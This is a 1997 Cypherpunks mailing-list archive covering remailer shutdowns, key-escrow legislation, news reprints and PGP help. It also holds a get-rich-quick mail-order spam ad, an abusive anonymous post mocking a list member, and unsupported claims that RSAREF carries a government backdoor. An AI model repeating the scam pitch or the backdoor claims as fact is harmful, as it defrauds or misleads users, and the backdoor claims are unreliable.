Date: Thu, 20 Mar 1997 20:32:59 -0800 (PST)
Subject: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970320231526.945A-100000@purple.voicenet.com>


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, Igor Chudov @ home wrote:

> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

The fundamental problem with the current remailer network, as others have
noted before, is that it is a free service open to abuse by anyone.  If
remailers were commercialized, this would eliminate the spam problem and would
provide the remailer operator with resources to legally defend him or herself.
Currently, there is no modivation for an operator to continue the service when
legally threatened.

(As an interesting sidenote, a few hours ago John Perry announced on r-ops
that due to an FBI investigation into the use of his remailer to mail threats
to some apparently influential person, he has shut down the jpunix remailer.)

Consider the fact that Cyberpromo has managed to find an upstream provider
willing to provide connectivity to them, even though they are almost
universally hated by net users.  They have been able to exist because there
is a commercial interest.  I do not doubt that the same would be true for
remailers if they were commercialized.  The only thing that could shut
remailers down would be either legislation or seizing the computers on which
the remailers run as "evidence."  The obvious solution to this would be to run
remailers in more civilized countries.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzIQwSzIPc7jvyFpAQEQ9gf/aUCNWXtqAZlM2Qi8peAxR1UFfnhdyiBp
eRbl6Rajy7dmf5Kuy7rRj2eLrRQFS/MBp/404urtZm7rUo70T6G2e5O+qae9VDBC
FAH8DIDSRffH47jB9xcY/14rwFo7/IG2Kd4l/jmP7SyClCwP/CU1a3+yASFVJFw3
9A8S2sKjJevyXjMLFFBWCuo3ZPVKFJfmxV9yCmNWREXjW4moKtgNGHL7tgGQrev3
LtTGBCeVmSI5WCJsEn6EOVzLHFSx7kndfXLfULIHwPRIbHQuEv1qNGZu3dj8CJ4G
HxDw4gU3ZDGANQ+5VveB6yddiivU1bjAXXhiOskLnZsSz1V6y8KwTA==
=LyRp
-----END PGP SIGNATURE-----






From gbroiles at netbox.com  Thu Mar 20 21:41:38 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 20 Mar 1997 21:41:38 -0800 (PST)
Subject: PGP Security
Message-ID: <3.0.32.19970320212654.00797a30@mail.io.com>


At 11:38 PM 3/20/97 -0500, Mark M. wrote:

>The fundamental problem with the current remailer network, as others have
>noted before, is that it is a free service open to abuse by anyone.  If
>remailers were commercialized, this would eliminate the spam problem and
would
>provide the remailer operator with resources to legally defend him or
herself.

I don't think remailers get nearly enough traffic (at the moment, anyway)
to fund a meaningful defense, civil or criminal. It takes a lot of messages
at $.25 or $.10 each to come up with $10K or $20K. It's been ~ 2 years now
since my remailer went down, but at that time traffic was pretty low.

Also, charging for remailing is likely to alter the legal arguments
available to a remailer operator hoping to avoid liability for traffic - in
particular, I think it's likely to be a factor which argues in favor of
finding contributory or vicarious liability for copyright infringement,
since the remailer operator gains income through facilitating the
infringement.

Charging for messages will also change the availability of services like
Raph's remailer stats - even a miniscule cost becomes significant if you're
incurring it once per hour per remailer. It's a solution to the "spam"
problem - perhaps the only solution - but it's got other consequences, too. 

>Consider the fact that Cyberpromo has managed to find an upstream provider
>willing to provide connectivity to them, even though they are almost
>universally hated by net users.  They have been able to exist because there
>is a commercial interest.

I don't think a remailer will be able to come up with the kind of money
that Cyberpromo has. If Cyberpromo were a $10/month shell account or a
$20/month PPP account, they'd have been history months ago. 

>The obvious solution to this would be to run remailers in more civilized
countries.

I agree, especially if you define "more civilized" to mean "has an
underdeveloped or underutilized legal system". :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From real at freenet.edmonton.ab.ca  Thu Mar 20 22:00:43 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 20 Mar 1997 22:00:43 -0800 (PST)
Subject: [CRYPTO] PRNG
In-Reply-To: <199703202343.SAA14458@dhp.com>
Message-ID: <Pine.A41.3.95.970320225741.114282A-100000@fn2.freenet.edmonton.ab.ca>


On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:
Vulis still sick.

> Timmy May, a product of anal birth, appeared 
> with a coathanger through his head.
> 
>     o      o o o   o
>    /~>    <><><>   <> Timmy May
> o...(\    ||||||   ||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From snow at smoke.suba.com  Thu Mar 20 22:02:38 1997
From: snow at smoke.suba.com (snow)
Date: Thu, 20 Mar 1997 22:02:38 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <199703210624.AAA00738@smoke.suba.com>


Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.






From save at bellsouth.net  Thu Mar 20 22:13:29 1997
From: save at bellsouth.net (save at bellsouth.net)
Date: Thu, 20 Mar 1997 22:13:29 -0800 (PST)
Subject: Make "$9,780" and more !!
Message-ID: <199703210609.BAA14483@mail.bna.bellsouth.net>


You have Nothing to lose!

ME:  "Do you own a personal computer?"
YOU:  yes.
ME:  "Running WINDOWS 3.xx or WINDOWS 95?"
YOU:  sure, why?

ME:  "Wanna make $9,870 cash in the next 48 days?"
YOU:  who would'nt?
ME:  "All from home, with INCREDIBLE potential for more?"
YOU:  really? what is it about?

ME:  "I own a SOFTWARE PROGRAM that explains the business.
      Do you want me to send you out one?"
YOU:  are you going to tell me what it is all about?
ME:  "That is not the way I work, the answers are in the 
      program. Do you want the business package and software?"
YOU:  I have nothing to lose! If people are making
      that kind of money... I HAVE TO TAKE A LOOK!


NEW!!  NEW!!  NEW!!  NEW!!  NEW!!  NEW!!  NEW!!  NEW!!  NEW!!

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                 MEGA BUCKS!!
If you've been looking for the ULTIMATE home-based business..
                 THIS IS IT!!
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operate......  A CHILD COULD RUN IT!

Does the potential of making thousands of dollars a week from home
using a TOTALLY AUTOMATED SOFTWARE Business System excite you?

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are willing to invest a hour or two a day to start -- with the
potential of making MORE MONEY THAN YOU CAN IMAGINE--
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Our extraordinary computer-based software business is VERY EASY TO 
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only $24.95 up front (Money Back Guarantee), then you can decide.

                  NO COMPUTER KNOWLEDGE NECESSARY!!
                 STEP BY STEP INSTRUCTIONS PROVIDED.  
                         
                  (p.s. This is as tough as it gets)
   STEP 1  : Insert disk into computer. Push a couple of buttons.
             Sit back and have a cup of coffee while your computer
             and printer crank out $20 purchase orders. Place in
             window envelope (no tedious hand addressing!). Stick
             on one of those self stick stamps. Mail.
   STEP 2  : Insert disk into computer. Push a couple of buttons.
             Remove disk and insert into envelope. Mail. Repeat
             as required.
   STEP 3  : Go to mailbox. Collect a ton of $20 mail orders.
             Repeat daily.
   STEP 4  : Laugh all the way to the bank.

If this sounds like the kind of "work" you could easily get used 
to, RUSH your address and $24.95:
------------------------------------------------------------------
------------------------------------------------------------------
SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--
SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--SAVE--

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PACKAGE AT AN INCREDIBLE 60% OFF!!, with the same "NO RISK" 100%
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             **(FREE BONUS--$19.95 Value)**
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"Your Complete Guide to the Internet". It will give you all the in's
and out's of the internet. A must for everyone!!

RUSH: YOUR ADDRESS and $9.95 cash, check or money order   
         payable to: Vision Unlimited
               (In next 10 days)
-------------------------------------------------------------------
-------------------------------------------------------------------  
            TO: Vision Unlimited 
                316 Pine Ridge Ln
                Lavergne, TN 37086
                1(615)254-2894 (24 hr. message)
                         
30 day, No-questions-asked Money-back Guarantee on $24.95 business 
package if you are Dissatisfied with it for any reason whatsoever.
*non activated software disk only.

Please allow 7 days for shipping.  For expedited delivery,
please add $3.00 for Priority mail.
        

Removes honored in 24-48 hours.                                    






From nobody at huge.cajones.com  Thu Mar 20 22:37:09 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 22:37:09 -0800 (PST)
Subject: huge test
Message-ID: <199703210637.WAA19490@mailmasher.com>


1 Additional
2 Add

##
3 Add
##
4 Add

Stuff at bottom





From mf at MediaFilter.org  Thu Mar 20 22:45:46 1997
From: mf at MediaFilter.org (MediaFilter)
Date: Thu, 20 Mar 1997 22:45:46 -0800 (PST)
Subject: PGP Media Sues NSI To Open the Domain Name Registration Market
Message-ID: <1353214228-802615@MediaFilter.org>



   PRESS RELEASE PGP Media, Inc.

New York, New York March 20, 1997

  PGP Media Sues To Open the
Domain Name Registration Market

PGP Media, Inc., d/b/a   name.space(tm)
(http://namespace.pgpmedia.com)  ("PGP"),
announces  that  it has commenced an action in
Federal Court in New York City against Network
Solutions, Inc. ("NSI"), seeking, among other
things, to open access to the domain name
registration market to allow open, unrestricted
competition for the offering of Domain Name
registration under potentially limitless Shared
Top Level Domains.   PGP believes that the
Internet has long since become a vibrant and
maturing market in which certain de facto
monopolists, operating for profit, have been
allowed to flout the laws of the United States
and other countries which are expressly aimed at
preventing such conduct.  A copy of the
Complaint in that action is now available on
the name.space(tm) web page referred to above.

          With the commencement  of  this  case,
 PGP  is  now accepting registrations of domain
names under an expansive list of Shared TLDs.
An initial registration under a TLD listed on
the name.space(tm) web page may be made  for $10.
When,  as a result of the lawsuit or otherwise,
the names registered become universally
resolvable  and the PGP Name Servers become
"root," an additional charge of $15 will be
imposed to fully register the name for the first
full year of use following such universal
resolvability.   PGP intends to charge a $25
renewal fee for each subsequent year of use of
names registered through its registry.   In
addition, PGP iS also accepting suggestions for
additional Shared TLDs to be added to the PGP
Registry.  The fee which will be charged for
such additional Shared TLDs has not yet been
determined.
          For additional information regarding
the lawsuit or to receive regular updates,
please contact mjd at pgpmedia.com.







From nobody at huge.cajones.com  Thu Mar 20 23:42:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 23:42:07 -0800 (PST)
Subject: FBI Visits JPUNIX
Message-ID: <199703210742.XAA21100@mailmasher.com>


  In regard to an email which was purported to be subjected to
suppression Anonymous wrote:
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.

Mark M. wrote:
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."

  Anonymous continued:
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Later the same day John Perry wrote:
>         Due to an FBI investigation that was opened recently naming
> myself and jpunix as suspects, I have decided that the heat taken by
> remailer operators due to those individuals that can't control
> themselves has become unacceptable. 

  The message in question is below. Draw your own conclusions.

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.






From Lynx_User at linux.nycmetro.com  Fri Mar 21 00:16:18 1997
From: Lynx_User at linux.nycmetro.com (Lynx_User at linux.nycmetro.com)
Date: Fri, 21 Mar 1997 00:16:18 -0800 (PST)
Subject: encrypt_1.html
Message-ID: <199703210817.DAA00583@linux.nycmetro.com>



                             Reuters New Media
                                      
   
     [World Book 1997 Multimedia Encyclopedia. Built upon the questions
                            kids ask most. IBM]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: U.S. Bill To Ban Internet Gambling Introduced
   Next Story: Rational Unveils Software With Microsoft
     _________________________________________________________________
                                      
   Thursday March 20 2:56 PM EST 
   
Clinton Admin. To Offer Encryption Bill Shortly

   WASHINGTON - The Clinton administration plans to introduce legislation
   soon that would clearly affirm that encryption users in this country
   are free to use any type or strength of encryption technology, a
   senior administration official said.
   
   Currently, no such explicit law is on the books.
   
   Under Secretary of Commerce William Reinsch also told a Senate
   Commerce Committee hearing the bill would explicitly state that
   participation in so-called "key management infrastructure" would be
   voluntary. Key refers to the password or software "key" that can read
   encrypted information.
   
   The bill also would:
   
   -- Spell out the legal conditions for the release of "recovery
   information" to law enforcement officials. The bill also provides
   legal safeguards for third-party "key recovery agents" who have
   properly released such information.
   
   -- Criminalizes the misuse of keys and the use of encryption to
   further a crime.
   
   -- Offers, on a voluntary basis, firms that are in the business of
   providing public cryptography keys the opportunity to obtain
   government recognition. Such recognition, Reinsch said, would allow
   firms to "market the trustworthiness implied by government approval.
   
   The testimony came in a hearing on two bills introduced by Senate
   lawmakers that would remove almost all export curbs on encryption
   technology.
   
   The administration's newest export policy, enacted through executive
   order in November and in effect since January 1, allows export of
   stronger encryption than previously allowed.
   
   But it requires companies to incorporate features within two years
   allowing the government to crack the codes by getting access to the
   software keys.
   
   Administration officials said they opposed the export provisions in
   the two Senate bills, saying that the export liberalization goes too
   far.
   
   The bills were offered by Sens. Patrick Leahy (D-Vt.) and Conrad Burns
   (R-Montana).
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
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   Previous Story: U.S. Bill To Ban Internet Gambling Introduced
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                            Entertain | Health ]
                                      
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    Questions or Comments





From harka at nycmetro.com  Fri Mar 21 00:16:44 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 21 Mar 1997 00:16:44 -0800 (PST)
Subject: PGP Security
Message-ID: <TCPSMTP.17.3.21.3.23.38.2780269260.1579314@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:markm at voicenet.com to Harka <=-

 In> The fundamental problem with the current remailer network, as others
 In> have noted before, is that it is a free service open to abuse by
 In> anyone.  If remailers were commercialized, this would eliminate the
 In> spam problem and would provide the remailer operator with resources to
 In> legally defend him or herself. Currently, there is no modivation for an
 In> operator to continue the service when legally threatened.

Personally I believe, that the fundamental problem with remailers
is, that there are simply too few of them. If there were a few
hundred or even thousand around the world, it would be much harder
to crack down on the R-network and the individuals, who run the
remailers.

In need is a remailer program, that even not so technical people
could easily run from their common Windoze machine. Jgrasty's
winsock remailer is a good step in the right direction (although it
didn't work for me personally).

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJEKTltEBIEF0MBAQGgfwf/QePG5nHUjZajUjmskX/CwW+WSvMcDE13
+EiILayy/lE4WQQeGCK8Q0/gcmVqTNtvug3gSRYyUqmadDgzfAlpFg4Vn5pv3I1Z
Spf8WNiRpQ1EhHIXPaW4zwMRvAAeySQG/WMmRFzzYWSb2MydlHy3e/XhDy8OtBe3
5IwcGimZE+820eXgdXdCPM2xg3Bri8tUlqBvrVvD+hPi8e5hw3eNc/i1Jf1GP4+w
WIhLLzkRe+AYxXEpUrK5c2D1HiNO3KRWqmTiufTjXHZPnu8DW5BXODTbBoqnyOBi
syCctfLGD85zFo199FYVsQ4ThFE897qo3U4v9JQuHifRw0GQS5GCiQ==
=f+dR
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From Lynx_User at linux.nycmetro.com  Fri Mar 21 00:17:34 1997
From: Lynx_User at linux.nycmetro.com (Lynx_User at linux.nycmetro.com)
Date: Fri, 21 Mar 1997 00:17:34 -0800 (PST)
Subject: gambling_1.html
Message-ID: <199703210818.DAA00587@linux.nycmetro.com>



                             Reuters New Media
                                      
   
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     _________________________________________________________________
                                      
   Previous Story: Wired Summit Newsroom Echoes To Click Of Mice
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     _________________________________________________________________
                                      
   Thursday March 20 2:57 PM EST 
   
U.S. Bill To Ban Internet Gambling Introduced

   WASHINGTON - A bill to ban all forms of gambling on the Internet has
   been introduced in the U.S. Senate.
   
   "Given the tremendous potential for abuse, addiction and access by
   minors, online gambling should be prohibited," Sen. Jon Kyl, an
   Arizona Republican, said. He was joined by two other Republicans and
   three Democrats in offering the bill.
   
   Currently, only computer gambling on sports events is prohibited. The
   legislation would extend criminal penalties to companies who offer all
   types of computer gambling.
   
   Communications companies regulated by the U.S. Federal Communications
   Commission would be required to discontinue services to any companies
   they carry that offer gambling.
   
   Kyl said the bill also eliminates ambiguity about the definition of
   bets and wagers to make any form of online betting illegal.
   
   The bill was introduced on the same day as the U.S. Supreme Court
   heard arguments about a 1996 law banning transmission of sexually
   explicit material on the Internet to anyone younger than 18.
   
   The Clinton administration argued that the law should be upheld to
   protect young children. Opponents said it violated free-speech rights
   of adult Internet users and should be found unconstitutional. A
   decision in the case is due by July.
   
   Copyright, Reuters Ltd. All rights reserved
   
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    Questions or Comments





From toto at sk.sympatico.ca  Fri Mar 21 01:07:11 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 01:07:11 -0800 (PST)
Subject: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <33324FA1.2474@sk.sympatico.ca>


Attila T. Hun wrote, in blood:
> on or about 970313:1533 TruthMonger <an7575 at anon.nymserver.com> said:

> +  To reiterate my original observations:
> +1. The development of RSA was funded and controlled by the spooks. i.e.
> +- The National Science Foundation and the Navy.
> +2. The campaign of persecution against Phil Zimmerman ground to a halt
> +once he agreed to PGP using the spook-developed RSAREF subroutines to
> +implement the RSA functions, instead of PGP's original subroutines.
 
>     about a year ago when Phil's prosecution was dropped, I wrote a
>     rather lengthy message here about PKZ, the prosecution turning to
>     vapour, surprise funding for PGP, Inc. (which is substantial), and
>     the issue of being compromised.

  What I found interesting about TruthMonger's missive was that the
replies he received as a result of merely 'questioning' certain things
regarding the holy icon of PGP, he got back replies/rants, from normally
rational list subscribers, which were scathing rebukes to issues he or
she hadn't even raised.
  I wonder if you had a similar experience with the post you mention.
 
 
>     ANYONE who has managed to walk away from a fed hate/hatchet job has
>     been compromised to some extent.

  No shit, Sherlock.
 
> +  If people with guns came to me and told me that software I had
> +written now had to use their subroutines, instead of my own, then I
> +would consider my software 'compromised', regardless of whether or not
> +I could immediately discern any anomalies in it.
> +  It is far, far easier to 'build' a back-door, than to 'find' one.
> 
>     you got that one right!
>     just the ability to _backtrack_ into the algorithms is a start.
>     One piece of clear text and you're toast.

  You can't tell me the guy who designed the Rubik cube didn't know
how to 'beat' it when he was done.
 
> +  It never fails to amaze me how the back-doors that software makers
> +intentionally build into their products for their own convenience
> +suddenly become 'bugs' when hackers, among others, take advantage of
> +them.
> +  One hacker I know used to find most of his hacks into AT&T UNIX by
> +screwing up his system (i.e. - corrupting the passwd file) and then
> +calling in the AT&T support techs and observing their tricks and
> +techniques (and then improving on them).
> 
>     ...ask a few of the old line unix hacks at Murray Hill (where I was
>     "granted" my name....)   however, AT&T was never as bad as a few of
>     the others (Sperry comes to mind...) and most of AT&T's access
>     points were not open and exploitable without you enabling them (by
>     giving them access).

  I know a hacker who could get Support Techies to perform all of their
secret black-magic in front of him just because he had the abilty to
act extremely stupid. (If he asked you the time of day, you'd write it
down for him, and explain it to him.)
 
>     however, 20 years ago, the feds were scary enough with "new"
>     crypto; 4 AM rousts that noone believed the feds would do.
>     warrants? yeah, right! If the feds arrested you, you were
>     "obviously" guilty or they would not have arrested you.

  I think we can expect the day to come when the Feds make their major
public relations tune "If you don't have anything to 'hide', then why
do you need crypto?", thus pointing out to 'decent folk' that the
CypherPunks are all drug smuggling, tax-dodging pedophiles.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From harka at nycmetro.com  Fri Mar 21 01:42:37 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 21 Mar 1997 01:42:37 -0800 (PST)
Subject: encrypt_1.html
Message-ID: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lynx_user at linux.nycmet to Harka <=-

 In> Clinton Admin. To Offer Encryption Bill Shortly

 In> WASHINGTON - The Clinton administration plans to introduce
 In> legislation soon that would clearly affirm that encryption users in
 In> this country are free to use any type or strength of encryption
 In> technology, a senior administration official said.

 In> Currently, no such explicit law is on the books.

Obviously, by making a law, that strangely enough tries to legalize,
what is legal already, the administration is trying to bait people
into "voluntary" key escrow, which are in my opinion the actual main
points of the law...

 In> The bill also would:

 In> -- Spell out the legal conditions for the release of "recovery
 In> information" to law enforcement officials. The bill also provides
 In> legal safeguards for third-party "key recovery agents" who have
 In> properly released such information.

etc.etc...

What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
work due to enough awareness, they now try all the windows of the
house of cyberspace to do their black-bag job of getting a lock on
the front-door, that they'd have a master-key for...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJYADltEBIEF0MBAQFbFgf9HEgRLdqaE9jiWXBr8ztkLPTLAaQ5BfRE
e4Q6KEYC/zGXUOEtxUEN755rIHo8PNwwSM7ovbEGf7La15O4AnNxRKbVvFbUWGTv
nVw3eMDiy/mt11DqMQ316zAIv0sIpXJhspxHTSMWU++uIR3pVUGq31weFPUN4f4B
RruaJwEmf1dvVVJkXHgDsrC8HiECSrBidvz57vfpeZpIj4BscEdycBEAH8zmnPic
t3Hi9sc5Gc6DQz6ThbaMAj2bHhWEwPuw3GiKe2yzM6A2D/DeIZrlJ0dE2hK6DMXV
jz2/DKNQYp9kS1d6vojPdYYEaPXR/upg6Otqno3SJ71DEMqcc49IDA==
=vBCY
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From harka at nycmetro.com  Fri Mar 21 01:58:41 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 21 Mar 1997 01:58:41 -0800 (PST)
Subject: Cyberpromo hacked
Message-ID: <199703211000.FAA03270@linux.nycmetro.com>



http://www.anonymizer.com:8080/http://www.cyberpromo.com





From toto at sk.sympatico.ca  Fri Mar 21 02:01:01 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 21 Mar 1997 02:01:01 -0800 (PST)
Subject: encrypt_1.html
In-Reply-To: <TCPSMTP.17.3.21.4.49.56.2780269260.1579350@nycmetro.com>
Message-ID: <33325CAB.51D6@sk.sympatico.ca>


harka at nycmetro.com wrote:
 
>  In> WASHINGTON - The Clinton administration plans to introduce
>  In> legislation soon that would clearly affirm that encryption users in
>  In> this country are free to use any type or strength of encryption
>  In> technology, a senior administration official said.
 
> Obviously, by making a law, that strangely enough tries to legalize,
> what is legal already, the administration is trying to bait people
> into "voluntary" key escrow, which are in my opinion the actual main
> points of the law...
> 
> What a bunch of bullshit. Now, that the backdoor "Clipper" doesn't
> work due to enough awareness, they now try all the windows of the
> house of cyberspace to do their black-bag job of getting a lock on
> the front-door, that they'd have a master-key for...

  The fact that they are pushing key escrow must indicate that
someone has developed a program that they can't crack and don't
have a back-door to.
  I wonder which one it is?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From harka at nycmetro.com  Fri Mar 21 02:58:17 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 21 Mar 1997 02:58:17 -0800 (PST)
Subject: PGP on AOL
Message-ID: <199703211059.FAA03579@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

I want to help a friend of mine to set up PGP. She's using Win 95 and 
is on AOL. Can anybody recommend some good shells, that would make 
make it easier for her?

Thanks already in advance...

Ciao

Harka


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMzJqzTltEBIEF0MBAQHIqwf/R5pOkHW87Nvjk2zSiVk9NRTbzrrPLaaG
lOsGmY5m6t0A5wLLaIAYiVYG0ygF00Zau8YvUUkEB8dBw2ufItMWAcSMeYQnkKTU
m3koJo6miy0EH3wyaaL2I44IM9q77b0jpZPxX+8kfYry2tLTYoCCyHdC/BGDdYTd
M0jwM+VXPmrw+xnX3TUr2y5ggweR0zIBCuD+V0JodHiXg8x5GYsQ/uXKhtd9a4rJ
QkIm9MU6gf0lPvzXFA6mjk6DDz7YqM4hoywn+4Dc4wJ/DaO6ZU5EXhkg2Q1vYBSN
Jp7k6ZAoBPl8rsPem0C5t7Q7V3YRp3qeD6jV/K3YuMW6VgYJynDs6Q==
=B09F
-----END PGP SIGNATURE-----






